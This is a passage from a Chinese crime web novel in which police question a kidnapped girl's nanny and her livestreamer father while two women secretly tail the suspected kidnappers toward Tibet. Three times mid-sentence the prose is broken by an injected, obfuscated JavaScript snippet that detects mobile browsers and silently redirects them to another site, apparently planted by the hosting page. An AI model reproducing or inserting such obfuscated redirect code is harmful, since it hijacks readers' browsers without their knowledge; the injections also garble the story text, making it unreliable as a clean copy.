绑匪不要赎金,他们就没必要在现实中跟任何人接触,只需要躲在网络上操纵这一切就够了。对方又很懂网络技术,知道怎么隐藏IP,那这人要怎么找? “怎么,还没开始就打退堂鼓了?案子再难,这不还有朱国良这个切入点吗?我不管你们用什么办法,在7月13号之前,一定要把朱国良给我找出来,如果真的等到他们在网上对线,事态进一步扩大,万一最后没能救出人质,谁都收不了这个场。今天上面的电话我都接了好几个了,郭阳,我可是拍着胸脯给你做担保的,你小子别让我失望。”苏钰海粗声道。 “是!” 散会后,苏钰海被一个电话叫走了。 郭阳让刘志远和杨琳继续去查这个朱国良的社会关系网。 “老大,嫌犯刚才又发了一条微博。”崔胜捧着电脑急匆匆赶来道。 郭阳往电脑屏幕上一看,只见微博上写着—— 这个可爱的小女孩到底还能活多久,全看在你心里,是你自己重要,还是你女儿更重要了。@罗嵩。 下面配图就是罗曼果被捆绑的那张照片。 看时间这个微博才发了短短几分钟时间,但已经冲上了热搜。 “这次还是使用了洋葱吗?”郭阳问。 “还没查,应该是,我现在就去查。”崔胜抱着电脑小跑着走了。 “嫌犯为什么在这么短的时间内又发了这样一条微博?不显得多余么?”黄文博不解地看向郭阳。 郭阳道:“我刚才看了下他第一条微博下的评论,评论区有人质疑整件事是罗嵩自导自演博流量,嫌犯应该是为了向众人证明这件事的真实性。文博,罗嵩不是说朱国良曾是他手下的员工么,那他们公司应该给朱国良发过工资,你和李冲马上去查他们给朱国良发工资用的是哪张银行卡,再调取那张卡近半年所有的消费记录。” “好!” 郭阳站在线索板前梳理线索,受害人罗曼果,五岁,父亲罗嵩,知名主播,母亲吴晓敏,市第五人民医院心外科主任医师。奶奶严秀姿。绑架案嫌疑犯,朱国良。同伙未知。 这其中是否有遗漏? 郭阳盯着关系图看了半天,忽然添上一条线,写上保姆李亭。 他回身从桌上找到派出所移交的文件,从里头找到李亭的联系方式,拨了过去。 电话很快接通。 “李亭吗?” “是,你哪位?” “我是市刑侦大队队长郭阳,关于罗曼果被绑架案,我有些问题想问你,今天去罗嵩家没看到你。” “哦,我不干了,所以今天没去罗家。” “不干了?为什么?” “罗主播的妈严秀姿非常刻薄,花了几千块钱雇我做保姆,本来说好只做三餐和收拾卫生的,结果孩子也让我接送,放了暑假更让我全天带,要不是看果果可怜,我早就不想干了。现在果果失踪了,虽然不是我的错,但我真的想起来就难过,如果我还呆在罗家,她会一直责怪我,想来想去还是不干算了,反正保姆的活儿哪儿都能找着。” “你现在在哪里?如果方便的话我希望你能来局里一趟。” “我在外面找果果,来市局……可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251764|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是可以,管饭和报销车费吗?”李亭问。 郭阳道:“配合警察办案是你作为公民的义务。” “派出所的人到罗家调查那次我就已经配合了呀,把我知道的一切都说了。如果不报销车费不管饭,那你等我吃了午饭,坐公交过来,或者就在电话里说。” “给你报销,你现在就打车过来。”案子棘手时间紧迫,郭阳不想因为计较这点小钱错过线索。 李亭挂了电话。 罗三丫一边开车一边紧张地问:“什么市局,是谁给你打电话?” 李亭道:“警察。” “他们为什么会找你?是不是已经查到了什么?” “你别紧张,他们什么都不知道,叫我过去应该只是希望我能提供一些线索。靠边停车吧,你先跟着,我去应付一下就来找你。” 仇洋大汗淋漓地赶到家中,发现屋里空无一人,桌上一片狼藉,他急忙拿出手机拨打徐引璋的电话。 “哟,大忙人这会儿不忙了?” 听筒里传来男人讥诮的声音,仇洋眉头皱得更紧了,“余伟忠?我老婆呢?我警告你,你要是敢动她一根手指头,我跟你拼命!” “这么爱老婆,早干什么去了?杀人偿命欠债还钱,天经地义。我带你老婆出门旅游了,去的地方有点危险,西藏,听说你老婆身体不太好?不知道去了会不会有高原反应啊。” 仇洋握紧拳头喘着粗气,额上的汗水流进了眼睛里,一阵涩疼。 “一百万现金,我不管你是去借也好贷也好,这是你欠我的。带着钱来找我,把你老婆和女儿带回去,咱俩之间就算两清。对了,我看你老婆手机上只有三千多块钱,好歹出来玩一趟,这点钱哪儿够啊?先打五万到你老婆卡上,要不万一到时候高原反应了,送医院抢救的钱都没有,这哪儿行啊是吧?一百万准备好了,我再告诉你到哪儿来找我们。” “你这是绑架,我要报警!” “绑架?来,宝贝儿,告诉你爸爸,叔叔带你和妈妈出来干嘛来了?” 电话那头传来果果稚气的声音:“玩。” “真乖。仇洋,听见了吗?老大一个人,还没孩子懂事。别废话,赶紧打钱过来,不然今晚你老婆吃什么睡在哪儿,我可不敢保证。”余伟忠挂断电话。 仇洋握着手机,焦灼地原地跺脚,转圈,揪头发,心慌意乱了片刻,他忽然想起,可以用查找设备功能定位徐引璋的手机,忙点开自己的手机进行查找,发现她的定位在城外的高速公路上。 他打开门冲下楼,准备去小区外打车追赶他们,刚下楼就看到仇国富从他的车里下来。 他只当没看见,撒腿就跑。 仇国富追上来一把拽住他的胳膊,骂道:“往那儿跑?有本事跑你妈肚子里去!” “放开我!我没钱!”仇洋激烈挣扎,试图挣开仇国富的钳制,但仇国富身材高大健硕,且常年保持健身习惯,虽然已经五十多岁,身体素质比仇洋还要好,比力气仇洋比不过他。 “今天至少给我十万,不然你哪儿都别想去,什么都别想干!”仇国富拽着他往一单元的门洞走。 仇洋感到绝望,他报过警,但警察来了之后,仇国富声称只是来借钱。老子向儿子借钱,警察也管不着。他没有任何办法能摆脱这个在他六岁时就因出轨跟他妈离婚,二十多年来对他不闻不问的老登。 父子俩拉扯间,仇洋瞥见他开来的小轿车,忽然停止挣扎,道:“好,你陪我去做一件事,做成了我就到网上去贷款,能贷多少就给你多少。” “什么事?” “把我老婆找回来。” 8. 第 8 章 半个多小时后,郭阳在问询室见到了李亭。 眼前女人三十多岁,肤色微黑,素面朝天,齐耳短发,穿着宽松的杏色上衣,米白色裤子,细看皮肤细腻五官精致,就是穿着打扮显老显土。 跟郭阳一起过来的小王给李亭倒了杯水,在一旁坐下,做好记录的准备。 郭阳问李亭:“你到罗家做保姆有多长时间了?” 李亭想了想,道:“有三个多月,快四个月了。” “是通过什么方式到她家当保姆的?家政推荐还是熟人介绍?” “我在超市买菜的时候偶然听几个大妈在议论罗家,说到罗家找保姆的事情,就向她们打听了罗家的地址,自己找上门去应聘的。” “你也住在书荟雅苑?” “不,我租住在槐里三村,世纪联华离槐里三村不远,每天早上都有特价菜,我就是在那里遇到那几个从书荟雅苑来的大妈的。” “为什么想到罗家去应聘?” “我没有文化,一直在干各种零工,收入不高,听人说育儿嫂需求高收入多,就是上岗前要先交钱培训。我本来已经联系好了去考证做育儿嫂,正好听到她们议论罗家的事,我就想着,罗嵩是知名主播,如果我在他妈家里干过,以后就算不干了,出去就说在罗主播家干过保姆,不也能提高身价吗?所以虽然听那几个大妈说严秀姿很刻薄,去她家干的保姆都干不长,我还是去应聘了。因为我做饭好吃,和他们又是同乡,要的工资低,她就留下我了。” “在罗家的这几个月,你有没有见过一个叫朱国良的人?” 李亭想了想,摇头:“没有。” “有听严秀姿或罗嵩提起过这个名字吗?” “也没有。” “严秀姿和罗嵩最近有没有什么让你觉得奇怪的地方?” 李亭听到这个问题,坐直身体斩钉截铁道:“有!” 郭阳目光炯炯地看来。 “罗主播一般都是住在自己的别墅里,不大回书荟雅苑过夜的,但大前天晚上他回来了,到了前天早上,他早饭也没吃就走了,在路上发生了追尾事故,又回到书荟雅苑。一回来就跟神经病似的问我们有没有人进过他的房间。他的房间门是锁上的,要用钥匙才能打开,我们都说没有,他开了房间门,进去不知道干了什么,出来又看家里的监控记录,记录里也显示根本没人进过他的房间,可他还是不信,还怀疑我,翻我的包。我说如果他丢了什么东西就报警,我不怕查,他又不报警,只说自己可能记差了什么的。” 郭阳沉思,问道:“他上次回书荟雅苑是什么时候?” “大概一个月前了,他很少回来,有事才会回来,也不关心果果,昨天看到果果还问她为什么没去上学,幼儿园早就放暑假了。大前天晚上也不知道是为什么回来的。对了,还有件奇怪的事。” “什么事?你说。”郭阳有些急迫道。 “今天上午,他打过一个电话给我,问我有没有给他发一个短信,还说给我一千万,什么到此为止,我听不懂,问他是不是开玩笑,他说不是开玩笑,让我见面谈。我就答应了,我说有一千万,只要不是让我去杀人放火,我什么都愿意配合他,问他在哪儿见面,他又不说话,还突然挂了电话,你说是不是莫名其妙?” 郭阳追问:“他什么时候打电话给你的?” 李亭拿出手机,找到通话记录,递给郭阳。 郭阳看了眼,十点四十七分,差不多就是他们离开罗家的时间,也就是说,他和文博一走,罗嵩就立刻给李亭打了这通电话。 一千万,到此为止,颇有点狗急跳墙的意思了。但这也证明了,他知道给他发信息的是朱国良,也知道朱国良为什么给他发这条信息。那他为什么要打给李亭呢?难道不应该打给朱国良吗? 想到这点,他立刻打电话给黄文博,让他去把罗嵩近一个月的所有通讯记录都调出来。 挂了电话,他对李亭道:“你能不能把罗嵩打给你的这通电话的内容详细地复述一遍,尽量不要遗漏任何细节?” 李亭苦脸道:“不要遗漏任何细节,这……我也记不了那么清楚啊。” 郭阳道:“不是叫你一字不差的意思,就是你能记得住的所有内容,都告诉我。” 李亭一边回忆一边道:“我是没有罗嵩电话的,所以他打电话来的时候我还不知道是谁,说了两句话才听出来他是罗嵩,他问我,是不是我做的,我以为他说的是果果失踪的事,昨天严秀姿就怀疑是我联合果果妈妈拐走了果果,今天他又这么问,我一下子就生气了,让他去报警。他又说,是短信,问那个短信是不是我发的。我不知道他在说什么。他叫我别抵赖,说只有我有机会干这件事,我更莫名其妙了,然后他就提出给我一千万,见面聊,我答应了,他却又挂了电话。” “什么叫只有你有机会做这件事?”郭阳也觉得罗嵩的这句话很奇怪。 李亭一脸茫然道:“我不知道啊。就像前天他不知道丢了什么,就怀疑我,可能是他觉得家里只有我一个外人吧。” “那你知不知道他丢了什么?” “我不知道。” “你仔细想想,还有没有什么线索可以提供给我们?” 李亭认真想了一会儿,看着郭阳正色道:“严秀姿想赖我上个月和这个月的工资,看在我这么积极配合你们工作的份上,警察同志,你们能不能帮我讨一下工资?” 郭阳:“……” 刚送走李亭,李冲打来电话。 “郭队,我和文博到了晨星,找了他们的人事,人事说他们公司从来就没有一个叫朱国良的员工。” 郭阳捏山根,道:“马上把罗嵩带回来配合调查。” 下午一点,罗嵩来了,一脸的不耐烦,见到郭阳劈头就道:“郭队长,我女儿被绑架了,我是受害人,你们不去抓绑架犯,一直来烦我做什么?我工作很忙,家里又发生了这种事,已经够焦头烂额了。” 郭阳看着他,道:“罗先生,你很不对劲。” 罗嵩表情一僵,很快掩饰了过去,道:“我女儿被绑架了,我当然不对劲,这种情况下谁能保持冷静?” “我看到的,可不是你对女儿人身安全的担心。”郭阳道。 “你们去调查过吴晓敏了吗,我说过了,这件事八成就是她做的。” “上午为什么给李亭打那通电话?”郭阳突然问道。 罗嵩一愣,装作没想起来的模样脱口而出:“什么电话?”随即似乎想了起来,“哦,我只是问问她今天为什么没有上工。” “她说的可与你说的不一样。罗嵩,就算是历史通话录音,有必要的话我们也是能调取到的,我劝你实话实说。你为什么怀疑你收到的那条短信是李亭发给你的?给她一千万,这件事到此为止又是什么意思?”郭阳目光满含威慑力地盯着他。 罗嵩额上沁出汗珠,道:“因为果果是跟李亭外出的时候被绑架的,李亭作为同案犯的可能性很大,我出一千万是想赎回果果。这件事现在在网络上闹得沸沸扬扬的,我也算是个公众人物,如果到时候他们问我很隐私的问题,你说我回答好,还是不回答好?我经不起这样的恶作剧。” “那朱国良呢,你说他是你的员工,但你们公司人事表示根本没有一个叫朱国良的员工,你怎么解释?” 罗嵩喝了口水,稳了稳心绪,道:“他有前科,虽然是我老乡,我也不能把这样的人介绍进公司,这有损我的形象。也不能拒绝他,他这样的人,破罐破摔起来,我也付不起那样的代价,只能谎称他是我老家亲戚,让他给我开车。” “工资怎么支付?” “他是失信人员,没有银行卡,要求我支付现金给他。” “你和朱国良是旧相识?” “不是。” “不是旧相识,这样一个刑满释放人员找到你要求你给他提供工作,你因为害怕他破罐破摔就让他做了你的私人司机,还用现金跟他结付工资,你觉得整件事合乎情理吗?”郭阳厉声问道。 罗嵩道:“合不合乎情理这也是事实啊,你们要是不信,我也没办法。” “这年头用现金的人不多,你的现金哪来的?” “自己取的。” “有取款记录吗?” “没有,我可以告诉你我取款的卡号,你们自己去查记录。” 郭阳吩咐李冲把卡号记下来。 “我可以走了吗?我真的很忙。”罗嵩挂断一个来电,问。 “罗嵩,我不管你和朱国良之间到底是怎么回事,我希望你清楚一个事实——你女儿被他绑架了。目前我们是一个阵营的,我们最重要的事,就是把你女儿果果,安全地救出来,这一点你认同吗?”郭阳盯着他的眼睛。 罗嵩不与他对视,只道:“我不认为果果在他手里,我还是认为这是我前妻吴晓敏做的局,她想要果果的抚养权,一审已经把果果的抚养权判给我了,公检法是一家,想必你们也清楚,只要我不出事,二审把果果改判给她的可能性极小,她这是孤注一掷。至于朱国良,不过是她的一个工具罢了,你们的调查重点还是应该放在吴晓敏身上。” “照你说的,吴晓敏这么想要果果的抚养权,那她应该很爱果果,她会舍得把果果像照片上那样绑起来?照片上的果果头发汗湿满眼惊恐,看上去可不像是摆拍。” 罗嵩道:“谁知道呢,也许她狗急跳墙,也许是朱国良自作主张。” “你说朱国良两个月前就离职了,但从通话记录来看,离职之后他还跟你通过几回电话,最近一回是三天前。你们通话都说了些什么?”郭阳问。 罗嵩刚张嘴想说话,郭阳强调:“如实说,别浪费大家的时间,这些通话内容后续我们都可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251765|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从运营商那里调取出来。” 罗嵩道:“约见面,想借钱。” “那你借了吗?” “一开始借了,后来他没完没了,我就不借了。” “三天前,他打电话给你也是约见面想借钱?” “嗯。” “约在哪里?” “……当时我很忙,没仔细听他说话,反正我也不会去见他。” “也就是说,三天前,你们没见面。” “是的,没见。” 郭阳审视地看着他。 罗嵩问:“我能走了吗?” “听李亭说,你家丢了东西?” “没有,就是个朋友送的礼物,我以为放在我妈家里了,后来在我自己家里找到了。” 看着罗嵩走出大门,李冲合起记录本,对郭阳道:“女儿被绑架了,作为父亲居然这么不慌不忙,还以工作为借口推脱来配合我们调查,照理说像他这个级别的大主播,早就实现财富自由了吧。谈到案子,为了岔开跟朱国良有关的话题,不惜一再把我们的注意力往他前妻身上引,真是匪夷所思。” “不合常理是吧?” “那是相当不合常理。” “他这种表现只证明了一件事。”郭阳目光沉沉,“他觉得他和朱国良之间的事比他女儿的命更重要。就算女儿被绑架甚至被杀都没关系,他的秘密,不能说。”他转过身,一边向办公室走去一边道:“打电话给杨琳他们,让他们尽快把朱国良近六个月的所有通话录音都调取回来。” 下午五点多,那辆红色坦克300拐进了服务区,罗三丫驾车跟着进去,停在离他们车不远的地方。看对方车上的人都下了车,往洗手间的方向走去,她跟着下车,从车后备箱的工具箱里摸出一把扳手,插在裤腰后面,用衣服盖好,也进了女洗手间。 这是个规模比较大的服务区,女洗手间空间也很大,有好几排坑位,两个女人带着孩子去了最里面,穿牛仔裤的女人牵着孩子进了其中一个蹲坑,关上门。穿短裙的女人没有急着上厕所,优哉游哉地点起一根烟,站在厕所中间的过道上刷起了手机。 罗三丫感觉自己心脏怦怦直跳,扭头往后面看了下,大家上厕所的上厕所,洗手的洗手,来去匆匆,并没有人关注别人在做什么。 她走进最后一排过道,假装挑选坑位,短裙女瞟了她一眼,可能因为她脸上的伤太过明显,又盯着她看了好一会儿。 罗三丫只能就近躲进一个坑位,透过门缝看短裙女又低头看手机,背对着她这边,她悄无声息地推开厕门,从后腰处的牛仔裤里拔出车用扳手,正要动手,一个戴着遮阳帽墨镜和口罩的女人突然出现在最后一排的过道前。 罗三丫忙把扳手塞回去。 那女人径直朝她走过来,到了近处,低声道:“你好了?出去等我一下。” 罗三丫原本一个人对付两个女人,没有十足的把握,如今见李亭来了,就朝她挤眉弄眼,意思是在这儿把这两个女人搞定就能救出果果了。 李亭伸手抓住她的胳膊,强硬地把她从坑位里拖出来。 罗三丫不明白她为什么要放过这么好的机会,但看她态度坚决,对面的蹲坑这时也传来冲水的声音,那个女人马上就会抱着孩子出来,没机会下手了,只能悻悻地向外走去。 她洗了手走出女厕,才看到跟那两个女人一起的两个男人就站在厕所门口等着。 “你刚才想干什么?”李亭回到车上,摘下帽子和口罩问罗三丫。 “我想敲昏那两个女人,救出果果。”罗三丫道。 “你怎么保证一下子就能把人敲昏?力气小了敲不昏,力气大了可能直接敲死,你怎么把握这个力度?有过把人敲昏的经验吗?” “就算敲不昏又怎样?她们是人贩子,她们敢报警吗?这样等下去,万一我们车坏了,或者定位器没电了,把人跟丢了怎么办?”罗三丫焦灼道。 “就算把人跟丢了,也不是你的责任,是我的责任,我会担负起这个责任。” 罗三丫看着李亭,茫然道:“我不明白,我们的终极目的,不是救出果果吗?” “是救出果果,但没有百分百的把握就动手的话,万一失败,他们知道事情败露,果果的安全反而会因此受到威胁。” 罗三丫只是想弥补自己的过失,没想到差点又坏事,她神情委顿,道:“我都没看清那小女孩的脸,不能确定是不是果果。” “是果果。”李亭道。 “那我们现在怎么办?就这么跟着?会不会被他们发现?” “先跟着,路过成都的时候换车。” “你怎么知道他们要路过成都?” “他们车内有氧气瓶,车顶行李架上绑着脱困板,没猜错的话,他们是要去西藏。我们也要把车换成硬派越野,以免有些路段跟不上他们。”李亭道。 9. 第 9 章 傍晚,外出的警员陆续回到队里。 “杨琳,把朱国良的历史通话按照联系频率高低整理好交给我。”郭阳道。 杨琳道:“郭队,历史通话还没调取到,相关手续还没批下来。” 郭阳扭头看向崔胜:“怎么回事?” 崔胜道:“郭队,你也知道,对手机号码进行技术侦查仅限于严重犯罪刑事案件,咱们这个案子,从本质上来说不属于这一类。当然我知道这桩案子引发的社会影响这样广泛和恶劣,就算达不到技侦标准,也该特事特办,要不你还是给苏局打个电话,让他去打个招呼,手续下来了我们才好继续工作。” 郭阳走到一旁给苏钰海打了个电话,随后回到办公桌前,问杨琳:“有没有新线索?” 杨琳道:“关于朱国良目前的下落还是没有头绪,但今天我们在排查他的通话名单时得到了一条线索,或许跟这个案子有关。” 说着,她把记录本递给郭阳,继续道:“这个人叫杜洪海,是朱国良的发小,目前定居在安兴市,他说四个月前朱国良打过一个电话给他,告诉他他从牢里出来了。他问朱国良在哪儿,生活方面有没有什么困难?朱国良说自己在京山市,叫他不用担心,说自己找到了一棵摇钱树,没钱了只要摇一摇就会有钱花。他知道朱国良从小就是满嘴跑火车的性格,也没当回事。两人就是叙叙旧吹吹牛,没说什么有用的内容。我问他朱国良懂不懂网络技术,他说朱国良从小学习就很差,上网就会打个牌搓个麻将。” “摇钱树,结合罗嵩的说辞,这个摇钱树八成就是指的罗嵩。这么说来,朱国良手里应该掌握着罗嵩的什么把柄,罗嵩所谓的提供工作机会,现金支付工资,还有借钱什么的,其实都是朱国良在敲诈他,而他不敢不给钱。”杜冲道。 “这么说的话,朱国良绑架罗嵩的女儿,可能就是因为两人闹翻了,罗嵩不肯给钱了。可是,如果他手里有罗嵩的把柄,要报复罗嵩,直接爆出来不就行了吗?一样能毁了罗嵩,何必要绑架他的女儿在网上搞这么一出?”黄文博提出质疑。 杨琳思索着道:“有没有一种可能,这个把柄,已经被罗嵩得到了或者毁掉了,所以他才敢不给朱国良钱。朱国良手里没了证据,恼羞成怒,这才绑了罗嵩的女儿逼罗嵩在网上跟自己对线?” 黄文博想了想,点头道:“确实有这个可能。会是什么把柄呢?朱国良又是怎么得到这个把柄的?像罗嵩这样的大主播,盯着他的眼睛很多,从这次这件事的扩散速度就可以看出来,如果他有什么把柄,没道理只有朱国良掌握这个把柄。” “罗嵩是近三年才火起来的,也许这个把柄不是现在的,而是以前的。朱国良七个月前才出狱,四个月前就打电话给发小吹嘘自己有了摇钱树,可见在这两三个月中,他完成了从他服刑的江平市来到京山市,找到罗嵩,与罗嵩取得联系,完成敲诈这一系列的事情,现抓把柄不会这么快,毕竟罗嵩又不会时刻准备好把柄等他来抓,这个把柄一定是罗嵩没出名前做的事。”刘志远分析道。 “罗嵩又不肯说实话,难道要去查他和朱国良的历史交集吗?可后天就是7月13号了,时间上来不及啊。”黄文博道。 “这也是我感到奇怪的一个点,为什么是7月13号?夜长梦多,既然不要钱,那根本就不需要留时间给罗嵩做准备,对方为什么不将时间提前?拖的时间越长,他被发现被抓的风险就越大不是吗?”李冲拧眉道。 “朱国良应该是豁出去了,不然为什么要用自己的手机号给罗嵩发信息和注册微博。”黄文博道。 几个人讨论半晌,见郭阳微低着头垂着眼睑一言不发,忍不住问道:“郭队,你怎么看?” 郭阳抬头看了几人一眼,道:“我有个问题想不通。”他看向崔胜,问道:“小崔,你是搞网络技术的,对黑客应该比我们这些人了解,在你看来,做一个黑客,应该具备哪些特质?” 崔胜没想到他会问这样一个跟他们刚才讨论的话题风马牛不相及的问题,理了下思路才掰着手指道:“第一,懂英文,这是毋庸置疑的。第二,有技术能力。第三,真正的黑客其实还有黑客道德约束,就是不会用他们掌握的技术去做一些违法犯罪的事。如果做黑客是为了发财,那就两说了。” “性格方面呢?”郭阳追问。 “细心,这肯定是首要的,也要有耐心,再有就是,喜欢思考,有独立解决问题的能力。”崔胜道。 郭阳道:“发微博的那个人,我们不能确定他是一名黑客,但他既然会黑客技术,性格上跟黑客应该具备一定的相似处。细心,耐心,喜欢思考,独立解决问题。这样的性格,结合他所掌握的技术,如果他想隐藏朱国良的身份,是不是很容易就能做到?” 崔胜经他提醒,恍然道:“对啊,如果朱国良有这样一个同伙,他为什么要自爆身份?发个匿名短信再简单不过了。” “三种可能,一,做这个案子的不是朱国良,是发微博的这个人黑了朱国良的手机,嫁祸朱国良。但这里有个问题,如果朱国良不知道自己手机被黑,还在继续使用这个手机,他的手机就不会一直处于失联状态。 “二,是朱国良做的这个案子,那他为什么要自爆身份?他是四进宫的人了,在狱中接受过普法教育,应该知道绑架是多么严重的罪行,更别说还引起这么广泛的社会影响。就算他和罗嵩之间有着深仇大恨,在同伙的帮助下明明隐匿身份也可以达到报复罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251766|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嵩的目的,为什么要自爆身份,这合理吗? “三,朱国良此刻处于被限制的状态,比如说,被绑架,或者被杀,手机直接就掌握在发微博的那个人手中,成为他的作案工具。那么,这个人需要具备同时认识朱国良和罗嵩,知道他们之间的关系,仇恨罗嵩,并掌握相关网络技术的条件。朱国良或者罗嵩身边,是否有这样一个符合全部条件的人存在?”郭阳道。 众人陷入思考。 “这样分析的话,我觉得第三种可能性最大。第一种可能的漏洞郭队已经提出来了,第二种,结合杨琳他们之前的调查,如果朱国良和罗嵩有深仇大恨,他的家人和妻子没道理一点都没听说,从朱国良敲诈了罗嵩都要打电话向发小炫耀的行为来看,他并不是一个守口如瓶的人,所以第二种可能基本上也能被排除。就只剩下第三种可能了。以朱国良的文化层次和社交圈子来看,我认为他身边存在这种人的可能性较少,还是要把调查重点放在罗嵩身上。”李冲道。 “罗嵩的学历其实也不高,专科毕业,很早就进入社会摸爬滚打了,要不是踩住了直播的风口,很难有今日的成就。倒是他前妻吴晓敏,高知家庭出身,本身也是名校毕业,应该有很多高学历的同学和校友。不过罗嵩现在要名气有名气,要钱有钱,不能排除手下员工里就有这样的人。”杨琳道。 “其实从利益驱动原则上来说,吴晓敏还真有这个作案动机。她很想要果果的监护权,我特意去查了下,她和罗嵩的工作都很忙,在这一块上谁也不沾光,一审她之所以会败诉,是因为罗嵩这边说,她工作忙,没时间亲自带果果,她父亲已经去世了,母亲和姐姐定居国外,如果果果判给她,她只能请保姆。而罗嵩这边,虽然罗嵩很忙,但严秀姿是果果的亲奶奶,再加上果果自幼在严秀姿身边长大,法官考虑到孩子对成长环境的适应性以及亲人肯定会比保姆更尽心,才把抚养权判给了罗嵩。吴晓敏不服,提起了上诉,在这种情况下,要想法庭改判,除非罗嵩出事。就像这次网上对线,哪怕最后爆出来的罗嵩的事情达不到刑事立案的标准,但能证明他人品卑劣道德败坏的话,恐怕也会在一定程度上影响抚养权官司二审的审判结果。而且她和罗嵩做过夫妻,比别人更有机会了解罗嵩和朱国良之间的事。”黄文博道。 “从利益驱动原则上来说,罗嵩事业上的对手更多,同样具备作案的动机。距离嫌犯要求的直播时间只剩两天两夜了,从动机推定去挨个排查的话,根本来不及。”杨琳看向郭阳。 郭阳点头,道:“从目前我们掌握的情况来看,朱国良就算不是真正的作案人,也是此案中的关键人物,这一点毋庸置疑。马上发布朱国良的通缉令,向社会上的广大群众征集相关线索。” 10. 第 10 章 晚上九点多,罗三丫和李亭尾随那辆坦克300进了成都一家酒店的地下停车库,看着他们停下,一伙人拖着行李下车,才又从出口绕了出去。 她们得重新租辆车。 一个小时后,回酒店的路上,罗三丫开着新租好的越野车,心疼道:“干嘛要买全险啊,也太贵了。” 李亭笑笑:“有备无患。怎么样?开得惯吗?” 罗三丫自信满满道:“开得惯,不就是个越野车嘛,我连B2证都有。” “你还开过大货车?” 罗三丫自嘲一笑,道:“想去开来着,出租车生意不好做那两年,有同行转行去开大货车拉货,说比开出租赚得多,我也想去。但拉货想赚钱,就得拼时间,所以他们一般都是父子兄弟或是家里亲戚两个人一起出去,路上换着开。我寻思姜洪彪在家游手好闲没啥事,就叫他跟我一起考B照,到时候一起出去送货赚钱,他倒是答应得痛快,找借口没让我给他去驾校报名,把报名费骗去吃喝嫖赌花完了。我看他指望不上,想起家里弟弟也没正事干,就打电话问他愿不愿意,他说愿意,就是没钱交学费,我给他汇了钱。我驾照下来后,问他考没考下来,他说没考过,要补考,又问我借钱……嗐,怪我蠢,明知道都是不靠谱的人,还指望他们。” “不是你蠢,是你太正常了,以为每个人都会为了生活积极向上,不知道有些垃圾活着就是为了混吃等死。”李亭看着前方道。 “当初丽丽也是这么安慰我的。”罗三丫脸上浮现出纯粹的笑意。 “哦?丽丽是怎么说的?”李亭问。 “两万多块钱打了水漂,我当然心疼,钱多难挣啊!偷偷抹眼泪的时候被丽丽发现了,我说我蠢,她说我不该因为别人的错责怪自己,我不蠢,我只是太善良了,还愿意相信姜洪彪和我弟弟。是他们不值得信任,这不是我的错。” “丽丽是个好孩子。”李亭感慨道。 “是呢,她跟我不一样,她看问题比我看得透彻,看得远。以前她放寒暑假,我有空总喜欢带她回老家,她很不乐意,我说‘为什么不愿意去?你成绩好,每次去外婆外公舅舅舅妈都夸你啊。’她说‘他们夸不夸的,我成绩好是事实,我也不缺他们假惺惺的夸奖。你以为他们夸我我就会喜欢他们?他们要对你好,我才会喜欢他们,因为那是你的父母兄弟。你每次回去都大包小包给他们带东西,回去之后每次出门都是你花钱,家里的饭都要你来做,我还要免费给他们的孩子补课。我们到底是去做客还是给他们做佣人?他们心里根本瞧不起你,就是想吸你的血,顺带吸我的血而已,你要不试试下次回去什么都不带,什么都不做,一分钱不花,你看看他们还夸不夸我?’” 罗三丫叹了口气,道:“话很难听,但却是事实,后来出了考驾照这事,我对他们彻底失望,已经三年没回去了。我妈打电话来变着法的要钱,我也没给。对我来说,丽丽才是我最重要的人,我最该尽的责任,现在钱这么难赚,我一分都不会再给他们花了。” 李亭伸过手去,安慰地握了握她的胳膊。 “对了,一直想问你来着,你是什么时候改的名字?需要父母同意吗?”罗三丫问。 “满十八岁之后就可以自己改了,不需要父母同意,要带什么材料你可以咨询一下当地派出所。怎么,你想改名?”李亭问。 罗三丫道:“原来也没想来着,这不遇见你了吗?没想到你真的会把名字改成王老师给你起的小名,我也想把名字改成王老师给我起的小名,罗姗,姗姗来迟的姗,欸,你说是叫罗姗好还是罗姗姗好?” “罗姗姗吧,姗姗,丽丽,听起来多像姐妹。” “好,等这次回去就改。”罗三丫憧憬道。 到了酒店地下车库,李亭对罗三丫道:“我是果果的保姆,相关信息可能被警方监控,你下去开个房吧。” “没必要吧,我们两个睡车里好了,还能盯着他们的车,何必浪费这个钱。租车已经花了很多钱了。”这个酒店规模大装潢好,一看住宿费就不便宜。 “进来的时候你没看车库门口的公告牌吗?不住宿是要交停车费的,一晚上也得百来块钱,还不如开个房,好好洗个澡睡一觉,尤其是你,这两天恐怕都得开高速,休息好了才能保证精力充沛,注意力集中。”李亭道。 